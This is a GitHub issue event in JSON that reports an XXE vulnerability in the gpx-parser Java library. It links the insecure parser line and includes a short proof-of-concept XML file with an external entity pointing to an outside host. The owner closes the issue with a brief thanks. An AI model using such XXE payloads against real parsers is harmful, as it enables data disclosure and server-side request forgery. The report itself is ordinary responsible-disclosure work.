{"action":"created","issue":{"url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/12","repository_url":"https://api.github.com/repos/himanshu-soni/gpx-parser","labels_url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/12/labels{/name}","comments_url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/12/comments","events_url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/12/events","html_url":"https://github.com/himanshu-soni/gpx-parser/issues/12","id":316744231,"node_id":"MDU6SXNzdWUzMTY3NDQyMzE=","number":12,"title":"XXE Security Vulnerability within XML File Parsing Function","user":{"login":"ProDigySML","id":16996819,"node_id":"MDQ6VXNlcjE2OTk2ODE5","avatar_url":"https://avatars1.githubusercontent.com/u/16996819?v=4","gravatar_id":"","url":"https://api.github.com/users/ProDigySML","html_url":"https://github.com/ProDigySML","followers_url":"https://api.github.com/users/ProDigySML/followers","following_url":"https://api.github.com/users/ProDigySML/following{/other_user}","gists_url":"https://api.github.com/users/ProDigySML/gists{/gist_id}","starred_url":"https://api.github.com/users/ProDigySML/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ProDigySML/subscriptions","organizations_url":"https://api.github.com/users/ProDigySML/orgs","repos_url":"https://api.github.com/users/ProDigySML/repos","events_url":"https://api.github.com/users/ProDigySML/events{/privacy}","received_events_url":"https://api.github.com/users/ProDigySML/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2018-04-23T10:03:45Z","updated_at":"2018-11-15T12:58:49Z","closed_at":"2018-11-15T12:58:49Z","author_association":"NONE","body":"# The Issue\r\n\r\nAn XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.\r\n\r\n\r\n# Where the Issue Occurred\r\n\r\nThe line of code given below create an XML parser for parsing an XML file opened and parses the data within:\r\n\r\nhttps://github.com/himanshu-soni/gpx-parser/blob/c04f30db8fd511c865b600d8ddb90abe76d03683/src/com/hs/gpxparser/GPXParser.java#L73\r\n\r\nThis parsing is done in an insecure manner and does not prohibit the usage of XML external entities. This allows attackers to do the above-mentioned attacks on a targeted user.\r\n\r\n# PoC File\r\n\r\n```xml\r\n<?xml version=\"1.0\" ?>\r\n<!DOCTYPE r [\r\n<!ELEMENT r ANY >\r\n<!ENTITY sp SYSTEM \"http://0dd.zone\">\r\n]>\r\n<r>&sp;</r>\r\n```"},"comment":{"url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/comments/439031636","html_url":"https://github.com/himanshu-soni/gpx-parser/issues/12#issuecomment-439031636","issue_url":"https://api.github.com/repos/himanshu-soni/gpx-parser/issues/12","id":439031636,"node_id":"MDEyOklzc3VlQ29tbWVudDQzOTAzMTYzNg==","user":{"login":"himanshu-soni","id":5171398,"node_id":"MDQ6VXNlcjUxNzEzOTg=","avatar_url":"https://avatars0.githubusercontent.com/u/5171398?v=4","gravatar_id":"","url":"https://api.github.com/users/himanshu-soni","html_url":"https://github.com/himanshu-soni","followers_url":"https://api.github.com/users/himanshu-soni/followers","following_url":"https://api.github.com/users/himanshu-soni/following{/other_user}","gists_url":"https://api.github.com/users/himanshu-soni/gists{/gist_id}","starred_url":"https://api.github.com/users/himanshu-soni/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/himanshu-soni/subscriptions","organizations_url":"https://api.github.com/users/himanshu-soni/orgs","repos_url":"https://api.github.com/users/himanshu-soni/repos","events_url":"https://api.github.com/users/himanshu-soni/events{/privacy}","received_events_url":"https://api.github.com/users/himanshu-soni/received_events","type":"User","site_admin":false},"created_at":"2018-11-15T12:58:49Z","updated_at":"2018-11-15T12:58:49Z","author_association":"OWNER","body":"Thanks @ThomasDaheim "}}
{"actor":{"display_login":"himanshu-soni"}}